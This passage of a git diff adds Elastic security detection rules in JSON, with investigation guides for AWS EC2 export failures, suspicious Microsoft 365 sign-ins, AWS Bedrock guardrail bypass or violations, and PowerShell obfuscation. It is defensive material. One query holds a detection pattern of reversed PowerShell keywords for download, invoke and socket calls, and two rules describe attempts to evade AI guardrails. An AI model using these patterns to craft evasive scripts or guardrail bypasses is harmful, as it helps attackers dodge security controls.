steps\n\n- Review the AWS CloudTrail logs for the specific event.action: CreateInstanceExportTask with event.outcome: failure to gather details about the failed export attempt, including timestamps, source IP addresses, and user identities involved.\n- Investigate the IAM user or role associated with the failed export attempt to determine if the action was authorized or if there are any signs of compromised credentials.\n- Check the AWS account's export policies and permissions to ensure they are configured correctly and restrict unauthorized export attempts.\n- Analyze any recent changes in the AWS environment, such as new IAM roles or policy modifications, that could be related to the failed export attempt.\n- Correlate the failed export attempt with other security events or alerts in the environment to identify any patterns or potential coordinated activities indicating a broader threat.\n\n### False positive analysis\n\n- Routine backup operations may trigger the rule if they involve failed export attempts. To manage this, identify and whitelist specific IAM roles or users that regularly perform legitimate backup tasks.\n- Development and testing environments often involve frequent export attempts for non-production instances. Exclude these environments by tagging instances appropriately and adjusting the detection rule to ignore these tags.\n- Misconfigured export tasks due to incorrect permissions or settings can lead to false positives. Regularly review and update IAM policies and export configurations to ensure they align with intended operations.\n- Automated scripts or tools that manage EC2 instances might occasionally fail due to transient issues, causing false alerts. Monitor and log these scripts' activities to distinguish between expected failures and potential threats.\n\n### Response and remediation\n\n- Immediately isolate the affected AWS account to prevent further unauthorized export attempts. This can be done by restricting permissions or temporarily suspending the account.\n- Review and revoke any suspicious or unauthorized IAM roles or policies that may have been used to initiate the failed export attempt.\n- Conduct a thorough audit of recent AWS CloudTrail logs to identify any other unusual activities or patterns that may indicate a broader compromise.\n- Notify the security operations team and relevant stakeholders about the incident for further investigation and potential escalation.\n- Implement additional monitoring and alerting for successful and failed VM export attempts to ensure rapid detection of similar activities in the future.\n- Enhance IAM policies to enforce the principle of least privilege, ensuring only authorized users have the necessary permissions to export EC2 instances.\n- Consider enabling AWS Config rules to continuously monitor and enforce compliance with security best practices related to EC2 instance exports.", + "query": "event.dataset:aws.cloudtrail and event.provider:ec2.amazonaws.com and event.action:CreateInstanceExportTask and event.outcome:failure\n", + "references": [ + "https://docs.aws.amazon.com/vm-import/latest/userguide/vmexport.html#export-instance" + ], + "related_integrations": [ + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.provider", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "e919611d-6b6f-493b-8314-7ed6ac2e413b", + "setup": "The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.", + "severity": "low", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: Amazon Web Services", + "Use Case: Asset Visibility", + "Tactic: Exfiltration", + "Tactic: Collection", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0010", + "name": "Exfiltration", + "reference": "https://attack.mitre.org/tactics/TA0010/" + }, + "technique": [ + { + "id": "T1537", + "name": "Transfer Data to Cloud Account", + "reference": "https://attack.mitre.org/techniques/T1537/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0009", + "name": "Collection", + "reference": "https://attack.mitre.org/tactics/TA0009/" + }, + "technique": [ + { + "id": "T1005", + "name": "Data from Local System", + "reference": "https://attack.mitre.org/techniques/T1005/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "query", + "version": 210 + }, + "id": "e919611d-6b6f-493b-8314-7ed6ac2e413b_210", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/f0cc239b-67fa-46fc-89d4-f861753a40f5_4.json b/packages/security_detection_engine/kibana/security_rule/f0cc239b-67fa-46fc-89d4-f861753a40f5_4.json new file mode 100644 index 00000000000..4dd8f8f1002 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/f0cc239b-67fa-46fc-89d4-f861753a40f5_4.json @@ -0,0 +1,114 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule correlate Azure or Office 356 mail successful sign-in events with network security alerts by source.ip. Adversaries may trigger some network security alerts such as reputation or other anomalies before accessing cloud resources.", + "false_positives": [ + "Custom network security rules that triggers on a proxy or gateway used by users to access Azure or O365." + ], + "from": "now-60m", + "language": "esql", + "license": "Elastic License v2", + "name": "Microsoft 365 or Entra ID Sign-in from a Suspicious Source", + "note": "## Triage and analysis\n\n### Investigating Microsoft 365 or Entra ID Sign-in from a Suspicious Source\n\n#### Possible investigation steps\n\n- Investiguate all the alerts associated with the source.ip.\n - Verify the network security alert details associated with this source.ip.\n - Verify all sign-in events associated with this source.ip.\n - Consider the source IP address and geolocation for the involved user account.\n - Consider the device used to sign in. Is it registered and compliant?\n- Investigate other alerts associated with the user account during the past 48 hours.\n- Contact the account owner and confirm whether they are aware of this activity.\n- Check if this operation was approved and performed according to the organization's change management policy.\n- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours.\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Disable or limit the account during the investigation and response.\n- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context:\n - Identify the account role in the cloud environment.\n - Assess the criticality of affected services and servers.\n - Work with your IT team to identify and minimize the impact on users.\n - Identify if the attacker is moving laterally and compromising other accounts, servers, or services.\n - Identify any regulatory or legal ramifications related to this activity.\n- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions.\n- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users.\n- Consider enabling multi-factor authentication for users.\n- Follow security best practices [outlined](https://docs.microsoft.com/en-us/azure/security/fundamentals/identity-management-best-practices) by Microsoft.\n- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).", + "query": "from logs-o365.audit-*, logs-azure.signinlogs-*, .alerts-security.*\n// query runs every 1 hour looking for activities occurred during last 8 hours to match on disparate events\n| where @timestamp > now() - 8 hours\n// filter for azure or m365 sign-in and external alerts with source.ip not null\n| where to_ip(source.ip) is not null\n and (event.dataset in (\"o365.audit\", \"azure.signinlogs\") or kibana.alert.rule.name == \"External Alerts\")\n and not cidr_match(\n to_ip(source.ip),\n \"10.0.0.0/8\", \"127.0.0.0/8\", \"169.254.0.0/16\", \"172.16.0.0/12\", \"192.0.0.0/24\", \"192.0.0.0/29\",\n \"192.0.0.8/32\", \"192.0.0.9/32\", \"192.0.0.10/32\", \"192.0.0.170/32\", \"192.0.0.171/32\", \"192.0.2.0/24\",\n \"192.31.196.0/24\", \"192.52.193.0/24\", \"192.168.0.0/16\", \"192.88.99.0/24\", \"224.0.0.0/4\",\n \"100.64.0.0/10\", \"192.175.48.0/24\", \"198.18.0.0/15\", \"198.51.100.0/24\", \"203.0.113.0/24\",\n \"240.0.0.0/4\", \"::1\", \"FE80::/10\", \"FF00::/8\"\n )\n\n// capture relevant raw fields\n| keep source.ip, event.action, event.outcome, event.dataset, kibana.alert.rule.name, event.category\n\n// classify each source ip based on alert type\n| eval\n Esql.source_ip_mail_access_case = case(event.dataset == \"o365.audit\" and event.action == \"MailItemsAccessed\" and event.outcome == \"success\", to_ip(source.ip), null),\n Esql.source_ip_azure_signin_case = case(event.dataset == \"azure.signinlogs\" and event.outcome == \"success\", to_ip(source.ip), null),\n Esql.source_ip_network_alert_case = case(kibana.alert.rule.name == \"external alerts\" and not event.dataset in (\"o365.audit\", \"azure.signinlogs\"), to_ip(source.ip), null)\n\n// aggregate by source ip\n| stats\n Esql.event_count = count(*),\n Esql.source_ip_mail_access_case_count_distinct = count_distinct(Esql.source_ip_mail_access_case),\n Esql.source_ip_azure_signin_case_count_distinct = count_distinct(Esql.source_ip_azure_signin_case),\n Esql.source_ip_network_alert_case_count_distinct = count_distinct(Esql.source_ip_network_alert_case),\n Esql.event_dataset_count_distinct = count_distinct(event.dataset),\n Esql.event_dataset_values = values(event.dataset),\n Esql.kibana_alert_rule_name_values = values(kibana.alert.rule.name),\n Esql.event_category_values = values(event.category)\n by Esql.source_ip = to_ip(source.ip)\n\n// correlation condition\n| where\n Esql.source_ip_network_alert_case_count_distinct > 0\n and Esql.event_dataset_count_distinct >= 2\n and (Esql.source_ip_mail_access_case_count_distinct > 0 or Esql.source_ip_azure_signin_case_count_distinct > 0)\n and Esql.event_count <= 100\n", + "related_integrations": [ + { + "package": "azure", + "version": "^1.0.0" + }, + { + "package": "o365", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.event_category_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.event_count", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.event_dataset_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.event_dataset_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.kibana_alert_rule_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.source_ip", + "type": "ip" + }, + { + "ecs": false, + "name": "Esql.source_ip_azure_signin_case_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.source_ip_mail_access_case_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.source_ip_network_alert_case_count_distinct", + "type": "long" + } + ], + "risk_score": 73, + "rule_id": "f0cc239b-67fa-46fc-89d4-f861753a40f5", + "setup": "The Azure Fleet integration, Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.", + "severity": "high", + "tags": [ + "Domain: Cloud", + "Domain: SaaS", + "Data Source: Azure", + "Data Source: Entra ID", + "Data Source: Entra ID Sign-in Logs", + "Data Source: Microsoft 365", + "Data Source: Microsoft 365 Audit Logs", + "Use Case: Identity and Access Audit", + "Use Case: Threat Detection", + "Tactic: Initial Access", + "Resources: Investigation Guide", + "Rule Type: Higher-Order Rule" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0001", + "name": "Initial Access", + "reference": "https://attack.mitre.org/tactics/TA0001/" + }, + "technique": [ + { + "id": "T1078", + "name": "Valid Accounts", + "reference": "https://attack.mitre.org/techniques/T1078/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 4 + }, + "id": "f0cc239b-67fa-46fc-89d4-f861753a40f5_4", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/f2c653b7-7daf-4774-86f2-34cdbd1fc528_4.json b/packages/security_detection_engine/kibana/security_rule/f2c653b7-7daf-4774-86f2-34cdbd1fc528_4.json new file mode 100644 index 00000000000..30b3ba38b5f --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/f2c653b7-7daf-4774-86f2-34cdbd1fc528_4.json @@ -0,0 +1,60 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies multiple AWS Bedrock executions in a one minute time window without guardrails by the same user in the same account over a session. Multiple consecutive executions implies that a user may be intentionally attempting to bypass security controls, by not routing the requests with the desired guardrail configuration in order to access sensitive information, or possibly exploit a vulnerability in the system.", + "false_positives": [ + "Users testing new model deployments or updated compliance policies without Amazon Bedrock guardrails." + ], + "from": "now-60m", + "interval": "10m", + "language": "esql", + "license": "Elastic License v2", + "name": "AWS Bedrock Invocations without Guardrails Detected by a Single User Over a Session", + "note": "## Triage and analysis\n\n### Investigating AWS Bedrock Invocations without Guardrails Detected by a Single User Over a Session\n\nUsing Amazon Bedrock Guardrails during model invocation is critical for ensuring the safe, reliable, and ethical use of AI models.\nGuardrails help manage risks associated with AI usage and ensure the output aligns with desired policies and standards.\n\n#### Possible investigation steps\n\n- Identify the user account that caused multiple model violations over a session without desired guardrail configuration and whether it should perform this kind of action.\n- Investigate the user activity that might indicate a potential brute force attack.\n- Investigate other alerts associated with the user account during the past 48 hours.\n- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day?\n- Examine the account's prompts and responses in the last 24 hours.\n- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours.\n\n### False positive analysis\n\n- Verify the user account that caused multiple policy violations by a single user over session, is not testing any new model deployments or updated compliance policies in Amazon Bedrock guardrails.\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Disable or limit the account during the investigation and response.\n- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context:\n - Identify the account role in the cloud environment.\n - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services.\n - Identify any regulatory or legal ramifications related to this activity.\n- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed.\n- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).\n", + "query": "from logs-aws_bedrock.invocation-*\n\n// Create 1-minute time buckets\n| eval Esql.time_window_date_trunc = date_trunc(1 minute, @timestamp)\n\n// Filter for invocations without guardrails\n| where gen_ai.guardrail_id is null and user.id is not null\n\n// keep only relevant fields\n| keep\n @timestamp,\n Esql.time_window_date_trunc,\n gen_ai.guardrail_id,\n user.id\n\n// count number of unsafe invocations per user\n| stats\n Esql.ml_invocations_no_guardrails_count = count()\n by user.id\n\n// Filter for suspicious volume\n| where Esql.ml_invocations_no_guardrails_count > 5\n\n// sort descending\n| sort Esql.ml_invocations_no_guardrails_count desc\n", + "references": [ + "https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-components.html", + "https://atlas.mitre.org/techniques/AML.T0051", + "https://atlas.mitre.org/techniques/AML.T0054", + "https://www.elastic.co/security-labs/elastic-advances-llm-security" + ], + "related_integrations": [ + { + "package": "aws_bedrock", + "version": "^1.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.ml_invocations_no_guardrails_count", + "type": "long" + }, + { + "ecs": true, + "name": "user.id", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "f2c653b7-7daf-4774-86f2-34cdbd1fc528", + "setup": "## Setup\n\nThis rule requires that guardrails are configured in AWS Bedrock. For more information, see the AWS Bedrock documentation:\n\nhttps://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-create.html\n", + "severity": "medium", + "tags": [ + "Domain: LLM", + "Data Source: AWS Bedrock", + "Data Source: AWS S3", + "Resources: Investigation Guide", + "Use Case: Policy Violation", + "Mitre Atlas: T0051", + "Mitre Atlas: T0054" + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 4 + }, + "id": "f2c653b7-7daf-4774-86f2-34cdbd1fc528_4", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/f38633f4-3b31-4c80-b13d-e77c70ce8254_5.json b/packages/security_detection_engine/kibana/security_rule/f38633f4-3b31-4c80-b13d-e77c70ce8254_5.json new file mode 100644 index 00000000000..abba6fbfd81 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/f38633f4-3b31-4c80-b13d-e77c70ce8254_5.json @@ -0,0 +1,133 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies PowerShell scripts that use reversed strings as a form of obfuscation. These methods are designed to evade static analysis and bypass security protections such as the Antimalware Scan Interface (AMSI).", + "from": "now-9m", + "language": "esql", + "license": "Elastic License v2", + "name": "Potential PowerShell Obfuscation via Reverse Keywords", + "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Potential PowerShell Obfuscation via Reverse Keywords\n\nPowerShell, a powerful scripting language in Windows environments, is often targeted by adversaries for obfuscation to bypass security measures like AMSI. Attackers reverse keywords in scripts to evade static analysis. The detection rule identifies such obfuscation by searching for reversed keywords, replacing them with a unique marker, and counting occurrences. This helps in flagging scripts with multiple obfuscated elements, indicating potential malicious activity.\n\n### Possible investigation steps\n\n- Review the `powershell.file.script_block_text` field to understand the context and content of the script that triggered the alert. Look for any suspicious or unexpected behavior in the script logic.\n- Examine the `file.path` field to determine the location of the script on the system. This can provide insights into whether the script is part of a legitimate application or potentially malicious.\n- Check the `powershell.file.script_block_id` and `powershell.sequence` fields to identify if the script is part of a larger sequence of commands. This can help in understanding the full scope of the script's execution.\n- Investigate the `agent.id` field to identify the specific endpoint where the script was executed. This can help in correlating with other alerts or logs from the same machine.\n- Assess the `count` field to determine the extent of obfuscation. A higher count may indicate a more heavily obfuscated script, suggesting a higher likelihood of malicious intent.\n\n### False positive analysis\n\n- Scripts with legitimate administrative functions may use reversed keywords for benign purposes, such as custom logging or debugging. Review the context of the script to determine if the usage is intentional and non-malicious.\n- Automated scripts generated by legitimate software tools might include reversed keywords as part of their normal operation. Identify these tools and create exceptions for their known script patterns to prevent unnecessary alerts.\n- Developers or IT personnel might use reversed keywords in test environments to simulate obfuscation techniques. Ensure these environments are well-documented and excluded from production monitoring to avoid false positives.\n- PowerShell scripts used in educational or training settings may intentionally include obfuscation techniques for learning purposes. Exclude these scripts by identifying their unique characteristics or file paths.\n- Regularly update the list of excluded scripts or patterns as new legitimate use cases are identified, ensuring the detection rule remains effective without generating excessive false positives.\n\n### Response and remediation\n\n- Isolate the affected system from the network to prevent further spread of potentially malicious scripts.\n- Terminate any suspicious PowerShell processes identified by the alert to halt ongoing malicious activity.\n- Conduct a thorough review of the script block text and associated files to understand the scope and intent of the obfuscation.\n- Remove or quarantine any identified malicious scripts or files from the system to prevent re-execution.\n- Restore affected systems from a known good backup if malicious activity has altered system integrity.\n- Update endpoint protection and security tools to recognize and block similar obfuscation techniques in the future.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and monitoring of potential lateral movement or additional threats.\n", + "query": "from logs-windows.powershell_operational* metadata _id, _version, _index\n| where event.code == \"4104\"\n\n// Filter for scripts that contains these keywords using MATCH, boosts the query performance,\n// match will ignore the | and look for the individual words\n| where powershell.file.script_block_text : \"rahc|metsys|stekcos|tcejboimw|ecalper|ecnerferpe|noitcennoc|nioj|eman|vne|gnirts|tcejbo-wen|_23niw|noisserpxe|ekovni|daolnwod\"\n\n// replace the patterns we are looking for with the \ud83d\udd25 emoji to enable counting them\n// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1\n| eval Esql.script_block_tmp = replace(\n powershell.file.script_block_text,\n \"\"\"(?i)(rahc|metsys|stekcos|tcejboimw|ecalper|ecnerferpe|noitcennoc|nioj|eman\\.|:vne$|gnirts|tcejbo-wen|_23niw|noisserpxe|ekovni|daolnwod)\"\"\",\n \"\ud83d\udd25\"\n)\n\n// count how many patterns were detected by calculating the number of \ud83d\udd25 characters inserted\n| eval Esql.script_block_pattern_count = length(Esql.script_block_tmp) - length(replace(Esql.script_block_tmp, \"\ud83d\udd25\", \"\"))\n\n// keep the fields relevant to the query, although this is not needed as the alert is populated using _id\n| keep\n Esql.script_block_pattern_count,\n Esql.script_block_tmp,\n powershell.file.script_block_text,\n powershell.file.script_block_id,\n file.path,\n powershell.sequence,\n powershell.total,\n _id,\n _index,\n agent.id\n\n// Filter for scripts that match the pattern at least twice\n| where Esql.script_block_pattern_count >= 2\n", + "related_integrations": [ + { + "package": "windows", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.script_block_pattern_count", + "type": "integer" + }, + { + "ecs": false, + "name": "Esql.script_block_tmp", + "type": "keyword" + }, + { + "ecs": false, + "name": "_id", + "type": "keyword" + }, + { + "ecs": false, + "name": "_index", + "type": "keyword" + }, + { + "ecs": true, + "name": "agent.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "file.path", + "type": "keyword" + }, + { + "ecs": false, + "name": "powershell.file.script_block_id", + "type": "keyword" + }, + { + "ecs": false, + "name": "powershell.file.script_block_text", + "type": "text" + }, + { + "ecs": false, + "name": "powershell.sequence", + "type": "long" + }, + { + "ecs": false, + "name": "powershell.total", + "type": "long" + } + ], + "risk_score": 21, + "rule_id": "f38633f4-3b31-4c80-b13d-e77c70ce8254", + "setup": "## Setup\n\nThe 'PowerShell Script Block Logging' logging policy must be enabled.\nSteps to implement the logging policy with Advanced Audit Configuration:\n\n```\nComputer Configuration >\nAdministrative Templates >\nWindows PowerShell >\nTurn on PowerShell Script Block Logging (Enable)\n```\n\nSteps to implement the logging policy via registry:\n\n```\nreg add \"hklm\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging\" /v EnableScriptBlockLogging /t REG_DWORD /d 1\n```\n", + "severity": "low", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Defense Evasion", + "Data Source: PowerShell Logs", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [ + { + "id": "T1027", + "name": "Obfuscated Files or Information", + "reference": "https://attack.mitre.org/techniques/T1027/" + }, + { + "id": "T1140", + "name": "Deobfuscate/Decode Files or Information", + "reference": "https://attack.mitre.org/techniques/T1140/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0002", + "name": "Execution", + "reference": "https://attack.mitre.org/tactics/TA0002/" + }, + "technique": [ + { + "id": "T1059", + "name": "Command and Scripting Interpreter", + "reference": "https://attack.mitre.org/techniques/T1059/", + "subtechnique": [ + { + "id": "T1059.001", + "name": "PowerShell", + "reference": "https://attack.mitre.org/techniques/T1059/001/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 5 + }, + "id": "f38633f4-3b31-4c80-b13d-e77c70ce8254_5", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/f4c2515a-18bb-47ce-a768-1dc4e7b0fe6c_6.json b/packages/security_detection_engine/kibana/security_rule/f4c2515a-18bb-47ce-a768-1dc4e7b0fe6c_6.json new file mode 100644 index 00000000000..d9520d655c0 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/f4c2515a-18bb-47ce-a768-1dc4e7b0fe6c_6.json @@ -0,0 +1,75 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies multiple violations of AWS Bedrock guardrails within a single request, resulting in a block action, increasing the likelihood of malicious intent. Multiple violations implies that a user may be intentionally attempting to cirvumvent security controls, access sensitive information, or possibly exploit a vulnerability in the system.", + "false_positives": [ + "Legitimate misunderstanding by users or overly strict policies" + ], + "from": "now-60m", + "interval": "10m", + "language": "esql", + "license": "Elastic License v2", + "name": "AWS Bedrock Guardrails Detected Multiple Policy Violations Within a Single Blocked Request", + "note": "## Triage and analysis\n\n### Investigating AWS Bedrock Guardrails Detected Multiple Policy Violations Within a Single Blocked Request\n\nAmazon Bedrock Guardrail is a set of features within Amazon Bedrock designed to help businesses apply robust safety and privacy controls to their generative AI applications.\n\nIt enables users to set guidelines and filters that manage content quality, relevancy, and adherence to responsible AI practices.\n\nThrough Guardrail, organizations can define \"denied topics\" to prevent the model from generating content on specific, undesired subjects,\nand they can establish thresholds for harmful content categories, including hate speech, violence, or offensive language.\n\n#### Possible investigation steps\n\n- Identify the user account and the user request that caused multiple policy violations and whether it should perform this kind of action.\n- Investigate the user activity that might indicate a potential brute force attack.\n- Investigate other alerts associated with the user account during the past 48 hours.\n- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day?\n- Examine the account's prompts and responses in the last 24 hours.\n- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours.\n\n### False positive analysis\n\n- Verify the user account that caused multiple policy violations, is not testing any new model deployments or updated compliance policies in Amazon Bedrock guardrails.\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Disable or limit the account during the investigation and response.\n- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context:\n - Identify the account role in the cloud environment.\n - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services.\n - Identify any regulatory or legal ramifications related to this activity.\n- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed.\n- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).\n", + "query": "from logs-aws_bedrock.invocation-*\n\n// Expand multi-value policy action field\n| mv_expand gen_ai.policy.action\n\n// Filter for policy-blocked requests\n| where gen_ai.policy.action == \"BLOCKED\"\n\n// count number of policy matches per request (multi-valued)\n| eval Esql.ml_policy_violations_mv_count = mv_count(gen_ai.policy.name)\n\n// Filter for requests with more than one policy match\n| where Esql.ml_policy_violations_mv_count > 1\n\n// keep relevant fields\n| keep\n gen_ai.policy.action,\n Esql.ml_policy_violations_mv_count,\n user.id,\n gen_ai.request.model.id,\n cloud.account.id\n\n// Aggregate requests with multiple violations\n| stats\n Esql.ml_policy_violations_total_unique_requests_count = count(*)\n by\n Esql.ml_policy_violations_mv_count,\n user.id,\n gen_ai.request.model.id,\n cloud.account.id\n\n// sort by number of unique requests\n| sort Esql.ml_policy_violations_total_unique_requests_count desc\n", + "references": [ + "https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-components.html", + "https://atlas.mitre.org/techniques/AML.T0051", + "https://atlas.mitre.org/techniques/AML.T0054", + "https://www.elastic.co/security-labs/elastic-advances-llm-security" + ], + "related_integrations": [ + { + "package": "aws_bedrock", + "version": "^1.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.ml_policy_violations_mv_count", + "type": "integer" + }, + { + "ecs": false, + "name": "Esql.ml_policy_violations_total_unique_requests_count", + "type": "long" + }, + { + "ecs": true, + "name": "cloud.account.id", + "type": "keyword" + }, + { + "ecs": false, + "name": "gen_ai.request.model.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "user.id", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "f4c2515a-18bb-47ce-a768-1dc4e7b0fe6c", + "setup": "## Setup\n\nThis rule requires that guardrails are configured in AWS Bedrock. For more information, see the AWS Bedrock documentation:\n\nhttps://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-create.html\n", + "severity": "low", + "tags": [ + "Domain: LLM", + "Data Source: AWS Bedrock", + "Data Source: AWS S3", + "Resources: Investigation Guide", + "Use Case: Policy Violation", + "Mitre Atlas: T0051", + "Mitre Atlas: T0054" + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 6 + }, + "id": "f4c2515a-18bb-47ce-a768-1dc4e7b0fe6c_6", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/f6d8c743-0916-4483-8333-3c6f107e0caa_5.json b/packages/security_detection_engine/kibana/security_rule/f6d8c743-0916-4483-8333-3c6f107e0caa_5.json new file mode 100644 index 00000000000..7b22198fde7 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/f6d8c743-0916-4483-8333-3c6f107e0caa_5.json @@ -0,0 +1,148 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies PowerShell scripts that use string concatenation as a form of obfuscation. These methods are designed to evade static analysis and bypass security protections such as the Antimalware Scan Interface (AMSI).", + "from": "now-9m", + "language": "esql", + "license": "Elastic License v2", + "name": "Potential PowerShell Obfuscation via String Concatenation", + "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Potential PowerShell Obfuscation via String Concatenation\n\nPowerShell is a powerful scripting language used for task automation and configuration management. Adversaries exploit its flexibility to obfuscate malicious scripts, often using string concatenation to evade detection. The detection rule identifies scripts with excessive concatenation patterns, flagging potential obfuscation by analyzing script length and pattern frequency, thus aiding in uncovering hidden threats.\n\n### Possible investigation steps\n\n- Review the powershell.file.script_block_text field to understand the content and purpose of the script, focusing on the sections identified by the string concatenation patterns.\n- Examine the file.path field to determine the location of the script on the host system, which can provide context about its origin and potential legitimacy.\n- Check the host.name and agent.id fields to identify the affected system and correlate with other security events or alerts from the same host for broader context.\n- Investigate the user.id field to determine which user executed the script, assessing their role and whether they have a legitimate reason to run such scripts.\n- Analyze the powershell.file.script_block_id and powershell.sequence fields to trace the execution flow and sequence of the script blocks, which may reveal additional obfuscation or malicious behavior.\n- Cross-reference the _id and _index fields with other logs or alerts to identify any related incidents or patterns of activity that might indicate a larger threat campaign.\n\n### False positive analysis\n\n- Scripts with legitimate string concatenation for logging or configuration purposes may trigger the rule. Review the script context to determine if the concatenation is part of a benign operation.\n- Automated scripts generated by development tools might use string concatenation extensively. Identify these tools and consider excluding their output directories or specific script patterns from the rule.\n- PowerShell scripts used in complex data processing tasks may naturally contain high levels of string concatenation. Analyze the script's purpose and, if deemed safe, add exceptions for specific script block IDs or paths.\n- Frequent administrative scripts that concatenate strings for dynamic command execution could be flagged. Verify the script's source and function, then whitelist known safe scripts by user ID or host name.\n- Consider adjusting the threshold for pattern detection if legitimate scripts frequently exceed the current limit, ensuring that the rule remains effective without generating excessive false positives.\n\n### Response and remediation\n\n- Isolate the affected host immediately to prevent further spread of potentially malicious scripts across the network. Disconnect it from the network and any shared resources.\n- Terminate any suspicious PowerShell processes identified by the alert to halt the execution of potentially obfuscated scripts.\n- Conduct a thorough examination of the script block text and associated files to identify and remove any malicious code or artifacts. Use a secure, isolated environment for analysis.\n- Restore the affected system from 